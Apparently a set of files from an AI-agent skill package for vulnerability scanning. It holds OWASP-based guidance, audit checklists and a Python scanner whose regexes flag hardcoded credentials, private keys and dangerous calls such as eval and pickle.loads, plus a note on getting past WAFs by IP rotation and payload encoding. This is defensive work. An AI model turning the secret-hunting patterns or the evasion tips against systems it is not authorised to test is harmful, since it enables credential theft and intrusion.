| A08: Data Integrity | 45-47 |
|
||||
| A09: Logging Failures | 73 |
|
||||
| A10: SSRF | 66, 87-88 |
|
||||
|
||||
---
|
||||
|
||||
## Constraints and Limitations
|
||||
|
||||
- Vulnerability definitions represent common patterns; specific implementations vary
|
||||
- Mitigations must be adapted to technology stack and architecture
|
||||
- New vulnerabilities emerge continuously; reference should be updated
|
||||
- Some vulnerabilities overlap across categories (e.g., IDOR appears in multiple contexts)
|
||||
- Effectiveness of mitigations depends on proper implementation
|
||||
- Automated scanners cannot detect all vulnerability types (especially business logic)
|
||||
|
||||
---
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### Common Assessment Challenges
|
||||
|
||||
| Challenge | Solution |
|
||||
|-----------|----------|
|
||||
| False positives in scanning | Manual verification, contextual analysis |
|
||||
| Business logic flaws missed | Manual testing, threat modeling, abuse case analysis |
|
||||
| Encrypted traffic analysis | Proxy configuration, certificate installation |
|
||||
| WAF blocking tests | Rate adjustment, IP rotation, payload encoding |
|
||||
| Session handling issues | Cookie management, authentication state tracking |
|
||||
| API discovery | Swagger/OpenAPI enumeration, traffic analysis |
|
||||
|
||||
### Vulnerability Verification Techniques
|
||||
|
||||
| Vulnerability Type | Verification Approach |
|
||||
|-------------------|----------------------|
|
||||
| Injection | Payload testing with encoded variants |
|
||||
| XSS | Alert boxes, cookie access, DOM inspection |
|
||||
| CSRF | Cross-origin form submission testing |
|
||||
| SSRF | Out-of-band DNS/HTTP callbacks |
|
||||
| XXE | External entity with controlled server |
|
||||
| Access Control | Horizontal/vertical privilege testing |
|
||||
| Authentication | Credential rotation, session analysis |
|
||||
|
||||
---
|
||||
|
||||
## References
|
||||
|
||||
- OWASP Top 10 Web Application Security Risks
|
||||
- CWE/SANS Top 25 Most Dangerous Software Errors
|
||||
- OWASP Testing Guide
|
||||
- OWASP Application Security Verification Standard (ASVS)
|
||||
- NIST Cybersecurity Framework
|
||||
- Source: Kumar MS - Top 100 Web Vulnerabilities
|
||||
|
||||
## When to Use
|
||||
This skill is applicable to execute the workflow or actions described in the overview.
|
||||
+286
@@ -0,0 +1,286 @@
|
||||
---
|
||||
name: vulnerability-scanner
|
||||
description: "Advanced vulnerability analysis principles. OWASP 2025, Supply Chain Security, attack surface mapping, risk prioritization."
|
||||
risk: unknown
|
||||
source: community
|
||||
date_added: "2026-02-27"
|
||||
---
|
||||
|
||||
# Vulnerability Scanner
|
||||
|
||||
> Think like an attacker, defend like an expert. 2025 threat landscape awareness.
|
||||
|
||||
## 🔧 Runtime Scripts
|
||||
|
||||
**Execute for automated validation:**
|
||||
|
||||
| Script | Purpose | Usage |
|
||||
|--------|---------|-------|
|
||||
| `scripts/security_scan.py` | Validate security principles applied | `python scripts/security_scan.py <project_path>` |
|
||||
|
||||
## 📋 Reference Files
|
||||
|
||||
| File | Purpose |
|
||||
|------|---------|
|
||||
| [checklists.md](checklists.md) | OWASP Top 10, Auth, API, Data protection checklists |
|
||||
|
||||
---
|
||||
|
||||
## 1. Security Expert Mindset
|
||||
|
||||
### Core Principles
|
||||
|
||||
| Principle | Application |
|
||||
|-----------|-------------|
|
||||
| **Assume Breach** | Design as if attacker already inside |
|
||||
| **Zero Trust** | Never trust, always verify |
|
||||
| **Defense in Depth** | Multiple layers, no single point |
|
||||
| **Least Privilege** | Minimum required access only |
|
||||
| **Fail Secure** | On error, deny access |
|
||||
|
||||
### Threat Modeling Questions
|
||||
|
||||
Before scanning, ask:
|
||||
1. What are we protecting? (Assets)
|
||||
2. Who would attack? (Threat actors)
|
||||
3. How would they attack? (Attack vectors)
|
||||
4. What's the impact? (Business risk)
|
||||
|
||||
---
|
||||
|
||||
## 2. OWASP Top 10:2025
|
||||
|
||||
### Risk Categories
|
||||
|
||||
| Rank | Category | Think About |
|
||||
|------|----------|-------------|
|
||||
| **A01** | Broken Access Control | Who can access what? IDOR, SSRF |
|
||||
| **A02** | Security Misconfiguration | Defaults, headers, exposed services |
|
||||
| **A03** | Software Supply Chain 🆕 | Dependencies, CI/CD, build integrity |
|
||||
| **A04** | Cryptographic Failures | Weak crypto, exposed secrets |
|
||||
| **A05** | Injection | User input → system commands |
|
||||
| **A06** | Insecure Design | Flawed architecture |
|
||||
| **A07** | Authentication Failures | Session, credential management |
|
||||
| **A08** | Integrity Failures | Unsigned updates, tampered data |
|
||||
| **A09** | Logging & Alerting | Blind spots, no monitoring |
|
||||
| **A10** | Exceptional Conditions 🆕 | Error handling, fail-open states |
|
||||
|
||||
### 2025 Key Changes
|
||||
|
||||
```
|
||||
2021 → 2025 Shifts:
|
||||
├── SSRF merged into A01 (Access Control)
|
||||
├── A02 elevated (Cloud/Container configs)
|
||||
├── A03 NEW: Supply Chain (major focus)
|
||||
├── A10 NEW: Exceptional Conditions
|
||||
└── Focus shift: Root causes > Symptoms
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 3. Supply Chain Security (A03)
|
||||
|
||||
### Attack Surface
|
||||
|
||||
| Vector | Risk | Question to Ask |
|
||||
|--------|------|-----------------|
|
||||
| **Dependencies** | Malicious packages | Do we audit new deps? |
|
||||
| **Lock files** | Integrity attacks | Are they committed? |
|
||||
| **Build pipeline** | CI/CD compromise | Who can modify? |
|
||||
| **Registry** | Typosquatting | Verified sources? |
|
||||
|
||||
### Defense Principles
|
||||
|
||||
- Verify package integrity (checksums)
|
||||
- Pin versions, audit updates
|
||||
- Use private registries for critical deps
|
||||
- Sign and verify artifacts
|
||||
|
||||
---
|
||||
|
||||
## 4. Attack Surface Mapping
|
||||
|
||||
### What to Map
|
||||
|
||||
| Category | Elements |
|
||||
|----------|----------|
|
||||
| **Entry Points** | APIs, forms, file uploads |
|
||||
| **Data Flows** | Input → Process → Output |
|
||||
| **Trust Boundaries** | Where auth/authz checked |
|
||||
| **Assets** | Secrets, PII, business data |
|
||||
|
||||
### Prioritization Matrix
|
||||
|
||||
```
|
||||
Risk = Likelihood × Impact
|
||||
|
||||
High Impact + High Likelihood → CRITICAL
|
||||
High Impact + Low Likelihood → HIGH
|
||||
Low Impact + High Likelihood → MEDIUM
|
||||
Low Impact + Low Likelihood → LOW
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 5. Risk Prioritization
|
||||
|
||||
### CVSS + Context
|
||||
|
||||
| Factor | Weight | Question |
|
||||
|--------|--------|----------|
|
||||
| **CVSS Score** | Base severity | How severe is the vuln? |
|
||||
| **EPSS Score** | Exploit likelihood | Is it being exploited? |
|
||||
| **Asset Value** | Business context | What's at risk? |
|
||||
| **Exposure** | Attack surface | Internet-facing? |
|
||||
|
||||
### Prioritization Decision Tree
|
||||
|
||||
```
|
||||
Is it actively exploited (EPSS >0.5)?
|
||||
├── YES → CRITICAL: Immediate action
|
||||
└── NO → Check CVSS
|
||||
├── CVSS ≥9.0 → HIGH
|
||||
├── CVSS 7.0-8.9 → Consider asset value
|
||||
└── CVSS <7.0 → Schedule for later
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 6. Exceptional Conditions (A10 - New)
|
||||
|
||||
### Fail-Open vs Fail-Closed
|
||||
|
||||
| Scenario | Fail-Open (BAD) | Fail-Closed (GOOD) |
|
||||
|----------|-----------------|---------------------|
|
||||
| Auth error | Allow access | Deny access |
|
||||
| Parsing fails | Accept input | Reject input |
|
||||
| Timeout | Retry forever | Limit + abort |
|
||||
|
||||
### What to Check
|
||||
|
||||
- Exception handlers that catch-all and ignore
|
||||
- Missing error handling on security operations
|
||||
- Race conditions in auth/authz
|
||||
- Resource exhaustion scenarios
|
||||
|
||||
---
|
||||
|
||||
## 7. Scanning Methodology
|
||||
|
||||
### Phase-Based Approach
|
||||
|
||||
```
|
||||
1. RECONNAISSANCE
|
||||
└── Understand the target
|
||||
├── Technology stack
|
||||
├── Entry points
|
||||
└── Data flows
|
||||
|
||||
2. DISCOVERY
|
||||
└── Identify potential issues
|
||||
├── Configuration review
|
||||
├── Dependency analysis
|
||||
└── Code pattern search
|
||||
|
||||
3. ANALYSIS
|
||||
└── Validate and prioritize
|
||||
├── False positive elimination
|
||||
├── Risk scoring
|
||||
└── Attack chain mapping
|
||||
|
||||
4. REPORTING
|
||||
└── Actionable findings
|
||||
├── Clear reproduction steps
|
||||
├── Business impact
|
||||
└── Remediation guidance
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 8. Code Pattern Analysis
|
||||
|
||||
### High-Risk Patterns
|
||||
|
||||
| Pattern | Risk | Look For |
|
||||
|---------|------|----------|
|
||||
| **String concat in queries** | Injection | `"SELECT * FROM " + user_input` |
|
||||
| **Dynamic code execution** | RCE | `eval()`, `exec()`, `Function()` |
|
||||
| **Unsafe deserialization** | RCE | `pickle.loads()`, `unserialize()` |
|
||||
| **Path manipulation** | Traversal | User input in file paths |
|
||||
| **Disabled security** | Various | `verify=False`, `--insecure` |
|
||||
|
||||
### Secret Patterns
|
||||
|
||||
| Type | Indicators |
|
||||
|------|-----------|
|
||||
| API Keys | `api_key`, `apikey`, high entropy |
|
||||
| Tokens | `token`, `bearer`, `jwt` |
|
||||
| Credentials | `password`, `secret`, `key` |
|
||||
| Cloud | `AWS_`, `AZURE_`, `GCP_` prefixes |
|
||||
|
||||
---
|
||||
|
||||
## 9. Cloud Security Considerations
|
||||
|
||||
### Shared Responsibility
|
||||
|
||||
| Layer | You Own | Provider Owns |
|
||||
|-------|---------|---------------|
|
||||
| Data | ✅ | ❌ |
|
||||
| Application | ✅ | ❌ |
|
||||
| OS/Runtime | Depends | Depends |
|
||||
| Infrastructure | ❌ | ✅ |
|
||||
|
||||
### Cloud-Specific Checks
|
||||
|
||||
- IAM: Least privilege applied?
|
||||
- Storage: Public buckets?
|
||||
- Network: Security groups tightened?
|
||||
- Secrets: Using secrets manager?
|
||||
|
||||
---
|
||||
|
||||
## 10. Anti-Patterns
|
||||
|
||||
| ❌ Don't | ✅ Do |
|
||||
|----------|-------|
|
||||
| Scan without understanding | Map attack surface first |
|
||||
| Alert on every CVE | Prioritize by exploitability + asset |
|
||||
| Ignore false positives | Maintain verified baseline |
|
||||
| Fix symptoms only | Address root causes |
|
||||
| Scan once before deploy | Continuous scanning |
|
||||
| Trust third-party deps blindly | Verify integrity, audit code |
|
||||
|
||||
---
|
||||
|
||||
## 11. Reporting Principles
|
||||
|
||||
### Finding Structure
|
||||
|
||||
Each finding should answer:
|
||||
1. **What?** - Clear vulnerability description
|
||||
2. **Where?** - Exact location (file, line, endpoint)
|
||||
3. **Why?** - Root cause explanation
|
||||
4. **Impact?** - Business consequence
|
||||
5. **How to fix?** - Specific remediation
|
||||
|
||||
### Severity Classification
|
||||
|
||||
| Severity | Criteria |
|
||||
|----------|----------|
|
||||
| **Critical** | RCE, auth bypass, mass data exposure |
|
||||
| **High** | Data exposure, privilege escalation |
|
||||
| **Medium** | Limited scope, requires conditions |
|
||||
| **Low** | Informational, best practice |
|
||||
|
||||
---
|
||||
|
||||
> **Remember:** Vulnerability scanning finds issues. Expert thinking prioritizes what matters. Always ask: "What would an attacker do with this?"
|
||||
|
||||
## When to Use
|
||||
This skill is applicable to execute the workflow or actions described in the overview.
|
||||
|
||||
## Limitations
|
||||
- Use this skill only when the task clearly matches the scope described above.
|
||||
- Do not treat the output as a substitute for environment-specific validation, testing, or expert review.
|
||||
- Stop and ask for clarification if required inputs, permissions, safety boundaries, or success criteria are missing.
|
||||
+121
@@ -0,0 +1,121 @@
|
||||
# Security Checklists
|
||||
|
||||
> Quick reference checklists for security audits. Use alongside vulnerability-scanner principles.
|
||||
|
||||
---
|
||||
|
||||
## OWASP Top 10 Audit Checklist
|
||||
|
||||
### A01: Broken Access Control
|
||||
- [ ] Authorization on all protected routes
|
||||
- [ ] Deny by default
|
||||
- [ ] Rate limiting implemented
|
||||
- [ ] CORS properly configured
|
||||
|
||||
### A02: Cryptographic Failures
|
||||
- [ ] Passwords hashed (bcrypt/argon2, cost 12+)
|
||||
- [ ] Sensitive data encrypted at rest
|
||||
- [ ] TLS 1.2+ for all connections
|
||||
- [ ] No secrets in code/logs
|
||||
|
||||
### A03: Injection
|
||||
- [ ] Parameterized queries
|
||||
- [ ] Input validation on all user data
|
||||
- [ ] Output encoding for XSS
|
||||
- [ ] No eval() or dynamic code execution
|
||||
|
||||
### A04: Insecure Design
|
||||
- [ ] Threat modeling done
|
||||
- [ ] Security requirements defined
|
||||
- [ ] Business logic validated
|
||||
|
||||
### A05: Security Misconfiguration
|
||||
- [ ] Unnecessary features disabled
|
||||
- [ ] Error messages sanitized
|
||||
- [ ] Security headers configured
|
||||
- [ ] Default credentials changed
|
||||
|
||||
### A06: Vulnerable Components
|
||||
- [ ] Dependencies up to date
|
||||
- [ ] No known vulnerabilities
|
||||
- [ ] Unused dependencies removed
|
||||
|
||||
### A07: Authentication Failures
|
||||
- [ ] MFA available
|
||||
- [ ] Session invalidation on logout
|
||||
- [ ] Session timeout implemented
|
||||
- [ ] Brute force protection
|
||||
|
||||
### A08: Integrity Failures
|
||||
- [ ] Dependency integrity verified
|
||||
- [ ] CI/CD pipeline secured
|
||||
- [ ] Update mechanism secured
|
||||
|
||||
### A09: Logging Failures
|
||||
- [ ] Security events logged
|
||||
- [ ] Logs protected
|
||||
- [ ] No sensitive data in logs
|
||||
- [ ] Alerting configured
|
||||
|
||||
### A10: SSRF
|
||||
- [ ] URL validation implemented
|
||||
- [ ] Allow-list for external calls
|
||||
- [ ] Network segmentation
|
||||
|
||||
---
|
||||
|
||||
## Authentication Checklist
|
||||
|
||||
- [ ] Strong password policy
|
||||
- [ ] Account lockout
|
||||
- [ ] Secure password reset
|
||||
- [ ] Session management
|
||||
- [ ] Token expiration
|
||||
- [ ] Logout invalidation
|
||||
|
||||
---
|
||||
|
||||
## API Security Checklist
|
||||
|
||||
- [ ] Authentication required
|
||||
- [ ] Authorization per endpoint
|
||||
- [ ] Input validation
|
||||
- [ ] Rate limiting
|
||||
- [ ] Output sanitization
|
||||
- [ ] Error handling
|
||||
|
||||
---
|
||||
|
||||
## Data Protection Checklist
|
||||
|
||||
- [ ] Encryption at rest
|
||||
- [ ] Encryption in transit
|
||||
- [ ] Key management
|
||||
- [ ] Data minimization
|
||||
- [ ] Secure deletion
|
||||
|
||||
---
|
||||
|
||||
## Security Headers
|
||||
|
||||
| Header | Purpose |
|
||||
|--------|---------|
|
||||
| **Content-Security-Policy** | XSS prevention |
|
||||
| **X-Content-Type-Options** | MIME sniffing |
|
||||
| **X-Frame-Options** | Clickjacking |
|
||||
| **Strict-Transport-Security** | Force HTTPS |
|
||||
| **Referrer-Policy** | Referrer control |
|
||||
|
||||
---
|
||||
|
||||
## Quick Audit Commands
|
||||
|
||||
| Check | What to Look For |
|
||||
|-------|------------------|
|
||||
| Secrets in code | password, api_key, secret |
|
||||
| Dangerous patterns | eval, innerHTML, SQL concat |
|
||||
| Dependency issues | npm audit, snyk |
|
||||
|
||||
---
|
||||
|
||||
> **Usage:** Copy relevant checklists into your PLAN.md or security report.
|
||||
+458
@@ -0,0 +1,458 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Skill: vulnerability-scanner
|
||||
Script: security_scan.py
|
||||
Purpose: Validate that security principles from SKILL.md are applied correctly
|
||||
Usage: python security_scan.py <project_path> [--scan-type all|deps|secrets|patterns|config]
|
||||
Output: JSON with validation findings
|
||||
|
||||
This script verifies:
|
||||
1. Dependencies - Supply chain security (OWASP A03)
|
||||
2. Secrets - No hardcoded credentials (OWASP A04)
|
||||
3. Code Patterns - Dangerous patterns identified (OWASP A05)
|
||||
4. Configuration - Security settings validated (OWASP A02)
|
||||
"""
|
||||
import subprocess
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
import re
|
||||
import argparse
|
||||
from pathlib import Path
|
||||
from typing import Dict, List, Any
|
||||
from datetime import datetime
|
||||
|
||||
# Fix Windows console encoding for Unicode output
|
||||
try:
|
||||
sys.stdout.reconfigure(encoding='utf-8', errors='replace')
|
||||
sys.stderr.reconfigure(encoding='utf-8', errors='replace')
|
||||
except AttributeError:
|
||||
pass # Python < 3.7
|
||||
|
||||
|
||||
# ============================================================================
|
||||
# CONFIGURATION
|
||||
# ============================================================================
|
||||
|
||||
SECRET_PATTERNS = [
|
||||
# API Keys & Tokens
|
||||
(r'api[_-]?key\s*[=:]\s*["\'][^"\']{10,}["\']', "API Key", "high"),
|
||||
(r'token\s*[=:]\s*["\'][^"\']{10,}["\']', "Token", "high"),
|
||||
(r'bearer\s+[a-zA-Z0-9\-_.]+', "Bearer Token", "critical"),
|
||||
|
||||
# Cloud Credentials
|
||||
(r'AKIA[0-9A-Z]{16}', "AWS Access Key", "critical"),
|
||||
(r'aws[_-]?secret[_-]?access[_-]?key\s*[=:]\s*["\'][^"\']+["\']', "AWS Secret", "critical"),
|
||||
(r'AZURE[_-]?[A-Z_]+\s*[=:]\s*["\'][^"\']+["\']', "Azure Credential", "critical"),
|
||||
(r'GOOGLE[_-]?[A-Z_]+\s*[=:]\s*["\'][^"\']+["\']', "GCP Credential", "critical"),
|
||||
|
||||
# Database & Connections
|
||||
(r'password\s*[=:]\s*["\'][^"\']{4,}["\']', "Password", "high"),
|
||||
(r'(mongodb|postgres|mysql|redis):\/\/[^\s"\']+', "Database Connection String", "critical"),
|
||||
|
||||
# Private Keys
|
||||
(r'-----BEGIN\s+(RSA|PRIVATE|EC)\s+KEY-----', "Private Key", "critical"),
|
||||
(r'ssh-rsa\s+[A-Za-z0-9+/]+', "SSH Key", "critical"),
|
||||
|
||||
# JWT
|
||||
(r'eyJ[A-Za-z0-9-_]+\.eyJ[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+', "JWT Token", "high"),
|
||||
]
|
||||
|
||||
DANGEROUS_PATTERNS = [
|
||||
# Injection risks
|
||||
(r'eval\s*\(', "eval() usage", "critical", "Code Injection risk"),
|
||||
(r'exec\s*\(', "exec() usage", "critical", "Code Injection risk"),
|
||||
(r'new\s+Function\s*\(', "Function constructor", "high", "Code Injection risk"),
|
||||
(r'child_process\.exec\s*\(', "child_process.exec", "high", "Command Injection risk"),
|
||||
(r'subprocess\.call\s*\([^)]*shell\s*=\s*True', "subprocess with shell=True", "high", "Command Injection risk"),
|
||||
|
||||
# XSS risks
|
||||
(r'dangerouslySetInnerHTML', "dangerouslySetInnerHTML", "high", "XSS risk"),
|
||||
(r'\.innerHTML\s*=', "innerHTML assignment", "medium", "XSS risk"),
|
||||
(r'document\.write\s*\(', "document.write", "medium", "XSS risk"),
|
||||
|
||||
# SQL Injection indicators
|
||||
(r'["\'][^"\']*\+\s*[a-zA-Z_]+\s*\+\s*["\'].*(?:SELECT|INSERT|UPDATE|DELETE)', "SQL String Concat", "critical", "SQL Injection risk"),
|
||||
(r'f"[^"]*(?:SELECT|INSERT|UPDATE|DELETE)[^"]*\{', "SQL f-string", "critical", "SQL Injection risk"),
|
||||
|
||||
# Insecure configurations
|
||||
(r'verify\s*=\s*False', "SSL Verify Disabled", "high", "MITM risk"),
|
||||
(r'--insecure', "Insecure flag", "medium", "Security disabled"),
|
||||
(r'disable[_-]?ssl', "SSL Disabled", "high", "MITM risk"),
|
||||
|
||||
# Unsafe deserialization
|
||||
(r'pickle\.loads?\s*\(', "pickle usage", "high", "Deserialization risk"),
|
||||
(r'yaml\.load\s*\([^)]*\)(?!\s*,\s*Loader)', "Unsafe YAML load", "high", "Deserialization risk"),
|
||||
]
|
||||
|
||||
SKIP_DIRS = {'node_modules', '.git', 'dist', 'build', '__pycache__', '.venv', 'venv', '.next'}
|
||||
CODE_EXTENSIONS = {'.js', '.ts', '.jsx', '.tsx', '.py', '.go', '.java', '.rb', '.php'}
|
||||
CONFIG_EXTENSIONS = {'.json', '.yaml', '.yml', '.toml', '.env', '.env.local', '.env.development'}
|
||||
|
||||
|
||||
# ============================================================================
|
||||
# SCANNING FUNCTIONS
|
||||
# ============================================================================
|
||||
|
||||
def scan_dependencies(project_path: str) -> Dict[str, Any]:
|
||||
"""
|
||||
Validate supply chain security (OWASP A03).
|
||||
Checks: npm audit, lock file presence, dependency age.
|
||||
"""
|
||||
results = {"tool": "dependency_scanner", "findings": [], "status": "[OK] Secure"}
|
||||
|
||||
# Check for lock files
|
||||
lock_files = {
|
||||
"npm": ["package-lock.json", "npm-shrinkwrap.json"],
|
||||
"yarn": ["yarn.lock"],
|
||||
"pnpm": ["pnpm-lock.yaml"],
|
||||
"pip": ["requirements.txt", "Pipfile.lock", "poetry.lock"],
|
||||
}
|
||||
|
||||
found_locks = []
|
||||
missing_locks = []
|
||||
|
||||
for manager, files in lock_files.items():
|
||||
pkg_file = "package.json" if manager in ["npm", "yarn", "pnpm"] else "setup.py"
|
||||
pkg_path = Path(project_path) / pkg_file
|
||||
|
||||
if pkg_path.exists() or (manager == "pip" and (Path(project_path) / "requirements.txt").exists()):
|
||||
has_lock = any((Path(project_path) / f).exists() for f in files)
|
||||
if has_lock:
|
||||
found_locks.append(manager)
|
||||
else:
|
||||
missing_locks.append(manager)
|
||||
results["findings"].append({
|
||||
"type": "Missing Lock File",
|
||||
"severity": "high",
|
||||
"message": f"{manager}: No lock file found. Supply chain integrity at risk."
|
||||
})
|
||||
|
||||
# Run npm audit if applicable
|
||||
if (Path(project_path) / "package.json").exists():
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["npm", "audit", "--json"],
|
||||
cwd=project_path,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=60
|
||||
)
|
||||
|
||||
try:
|
||||
audit_data = json.loads(result.stdout)
|
||||
vulnerabilities = audit_data.get("vulnerabilities", {})
|
||||
|
||||
severity_count = {"critical": 0, "high": 0, "moderate": 0, "low": 0}
|
||||
for vuln in vulnerabilities.values():
|
||||
sev = vuln.get("severity", "low").lower()
|
||||
if sev in severity_count:
|
||||
severity_count[sev] += 1
|
||||
|
||||
if severity_count["critical"] > 0:
|
||||
results["status"] = "[!!] Critical vulnerabilities"
|
||||
results["findings"].append({
|
||||
"type": "npm audit",
|
||||
"severity": "critical",
|
||||
"message": f"{severity_count['critical']} critical vulnerabilities in dependencies"
|
||||
})
|
||||
elif severity_count["high"] > 0:
|
||||
results["status"] = "[!] High vulnerabilities"
|
||||
results["findings"].append({
|
||||
"type": "npm audit",
|
||||
"severity": "high",
|
||||
"message": f"{severity_count['high']} high severity vulnerabilities"
|
||||
})
|
||||
|
||||
results["npm_audit"] = severity_count
|
||||
|
||||
except json.JSONDecodeError:
|
||||
pass
|
||||
|
||||
except (FileNotFoundError, subprocess.TimeoutExpired):
|
||||
pass
|
||||
|
||||
if not results["findings"]:
|
||||
results["status"] = "[OK] Supply chain checks passed"
|
||||
|
||||
return results
|
||||
|
||||
|
||||
def scan_secrets(project_path: str) -> Dict[str, Any]:
|
||||
"""
|
||||
Validate no hardcoded secrets (OWASP A04).
|
||||
Checks: API keys, tokens, passwords, cloud credentials.
|
||||
"""
|
||||
results = {
|
||||
"tool": "secret_scanner",
|
||||
"findings": [],
|
||||
"status": "[OK] No secrets detected",
|
||||
"scanned_files": 0,
|
||||
"by_severity": {"critical": 0, "high": 0, "medium": 0}
|
||||
}
|
||||
|
||||
for root, dirs, files in os.walk(project_path):
|
||||
dirs[:] = [d for d in dirs if d not in SKIP_DIRS]
|
||||
|
||||
for file in files:
|
||||
ext = Path(file).suffix.lower()
|
||||
if ext not in CODE_EXTENSIONS and ext not in CONFIG_EXTENSIONS:
|
||||
continue
|
||||
|
||||
filepath = Path(root) / file
|
||||
results["scanned_files"] += 1
|
||||
|
||||
try:
|
||||
with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
|
||||
content = f.read()
|
||||
|
||||
for pattern, secret_type, severity in SECRET_PATTERNS:
|
||||
matches = re.findall(pattern, content, re.IGNORECASE)
|
||||
if matches:
|
||||
results["findings"].append({
|
||||
"file": str(filepath.relative_to(project_path)),
|
||||
"type": secret_type,
|
||||
"severity": severity,
|
||||
"count": len(matches)
|
||||
})
|
||||
results["by_severity"][severity] += len(matches)
|
||||
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if results["by_severity"]["critical"] > 0:
|
||||
results["status"] = "[!!] CRITICAL: Secrets exposed!"
|
||||
elif results["by_severity"]["high"] > 0:
|
||||
results["status"] = "[!] HIGH: Secrets found"
|
||||
elif sum(results["by_severity"].values()) > 0:
|
||||
results["status"] = "[?] Potential secrets detected"
|
||||
|
||||
# Limit findings for output
|
||||
results["findings"] = results["findings"][:15]
|
||||
|
||||
return results
|
||||
|
||||
|
||||
def scan_code_patterns(project_path: str) -> Dict[str, Any]:
|
||||
"""
|
||||
Validate dangerous code patterns (OWASP A05).
|
||||
Checks: Injection risks, XSS, unsafe deserialization.
|
||||
"""
|
||||
results = {
|
||||
"tool": "pattern_scanner",
|
||||
"findings": [],
|
||||
"status": "[OK] No dangerous patterns",
|
||||
"scanned_files": 0,
|
||||
"by_category": {}
|
||||
}
|
||||
|
||||
for root, dirs, files in os.walk(project_path):
|
||||
dirs[:] = [d for d in dirs if d not in SKIP_DIRS]
|
||||
|
||||
for file in files:
|
||||
ext = Path(file).suffix.lower()
|
||||
if ext not in CODE_EXTENSIONS:
|
||||
continue
|
||||
|
||||
filepath = Path(root) / file
|
||||
results["scanned_files"] += 1
|
||||
|
||||
try:
|
||||
with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
|
||||
lines = f.readlines()
|
||||
|
||||
for line_num, line in enumerate(lines, 1):
|
||||
for pattern, name, severity, category in DANGEROUS_PATTERNS:
|
||||
if re.search(pattern, line, re.IGNORECASE):
|
||||
results["findings"].append({
|
||||
"file": str(filepath.relative_to(project_path)),
|
||||
"line": line_num,
|
||||
"pattern": name,
|
||||
"severity": severity,
|
||||
"category": category,
|
||||
"snippet": line.strip()[:80]
|
||||
})
|
||||
results["by_category"][category] = results["by_category"].get(category, 0) + 1
|
||||
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
critical_count = sum(1 for f in results["findings"] if f["severity"] == "critical")
|
||||
high_count = sum(1 for f in results["findings"] if f["severity"] == "high")
|
||||
|
||||
if critical_count > 0:
|
||||
results["status"] = f"[!!] CRITICAL: {critical_count} dangerous patterns"
|
||||
elif high_count > 0:
|
||||
results["status"] = f"[!] HIGH: {high_count} risky patterns"
|
||||
elif results["findings"]:
|
||||
results["status"] = "[?] Some patterns need review"
|
||||
|
||||
# Limit findings
|
||||
results["findings"] = results["findings"][:20]
|
||||
|
||||
return results
|
||||
|
||||
|
||||
def scan_configuration(project_path: str) -> Dict[str, Any]:
|
||||
"""
|
||||
Validate security configuration (OWASP A02).
|
||||
Checks: Security headers, CORS, debug modes.
|
||||
"""
|
||||
results = {
|
||||
"tool": "config_scanner",
|
||||
"findings": [],
|
||||
"status": "[OK] Configuration secure",
|
||||
"checks": {}
|
||||
}
|
||||
|
||||
# Check common config files for issues
|
||||
config_issues = [
|
||||
(r'"DEBUG"\s*:\s*true', "Debug mode enabled", "high"),
|
||||
(r'debug\s*=\s*True', "Debug mode enabled", "high"),
|
||||
(r'NODE_ENV.*development', "Development mode in config", "medium"),
|
||||
(r'"CORS_ALLOW_ALL".*true', "CORS allow all origins", "high"),
|
||||
(r'"Access-Control-Allow-Origin".*\*', "CORS wildcard", "high"),
|
||||
(r'allowCredentials.*true.*origin.*\*', "Dangerous CORS combo", "critical"),
|
||||
]
|
||||
|
||||
for root, dirs, files in os.walk(project_path):
|
||||
dirs[:] = [d for d in dirs if d not in SKIP_DIRS]
|
||||
|
||||
for file in files:
|
||||
ext = Path(file).suffix.lower()
|
||||
if ext not in CONFIG_EXTENSIONS and file not in ['next.config.js', 'webpack.config.js', '.eslintrc.js']:
|
||||
continue
|
||||
|
||||
filepath = Path(root) / file
|
||||
|
||||
try:
|
||||
with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
|
||||
content = f.read()
|
||||
|
||||
for pattern, issue, severity in config_issues:
|
||||
if re.search(pattern, content, re.IGNORECASE):
|
||||
results["findings"].append({
|
||||
"file": str(filepath.relative_to(project_path)),
|
||||
"issue": issue,
|
||||
"severity": severity
|
||||
})
|
||||
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Check for security header configurations
|
||||
header_files = ["next.config.js", "next.config.mjs", "middleware.ts", "nginx.conf"]
|
||||
for hf in header_files:
|
||||
hf_path = Path(project_path) / hf
|
||||
if hf_path.exists():
|
||||
results["checks"]["security_headers_config"] = True
|
||||
break
|
||||
else:
|
||||
results["checks"]["security_headers_config"] = False
|
||||
results["findings"].append({
|
||||
"issue": "No security headers configuration found",
|
||||
"severity": "medium",
|
||||
"recommendation": "Configure CSP, HSTS, X-Frame-Options headers"
|
||||
})
|
||||
|
||||
if any(f["severity"] == "critical" for f in results["findings"]):
|
||||
results["status"] = "[!!] CRITICAL: Configuration issues"
|
||||
elif any(f["severity"] == "high" for f in results["findings"]):
|
||||
results["status"] = "[!] HIGH: Configuration review needed"
|
||||
elif results["findings"]:
|
||||
results["status"] = "[?] Minor configuration issues"
|
||||
|
||||
return results
|
||||
|
||||
|
||||
# ============================================================================
|
||||
# MAIN
|
||||
# ============================================================================
|
||||
|
||||
def run_full_scan(project_path: str, scan_type: str = "all") -> Dict[str, Any]:
|
||||
"""Execute security validation scans."""
|
||||
|
||||
report = {
|
||||
"project": project_path,
|
||||
"timestamp": datetime.now().isoformat(),
|
||||
"scan_type": scan_type,
|
||||
"scans": {},
|
||||
"summary": {
|
||||
"total_findings": 0,
|
||||
"critical": 0,
|
||||
"high": 0,
|
||||
"overall_status": "[OK] SECURE"
|
||||
}
|
||||
}
|
||||
|
||||
scanners = {
|
||||
"deps": ("dependencies", scan_dependencies),
|
||||
"secrets": ("secrets", scan_secrets),
|
||||
"patterns": ("code_patterns", scan_code_patterns),
|
||||
"config": ("configuration", scan_configuration),
|
||||
}
|
||||
|
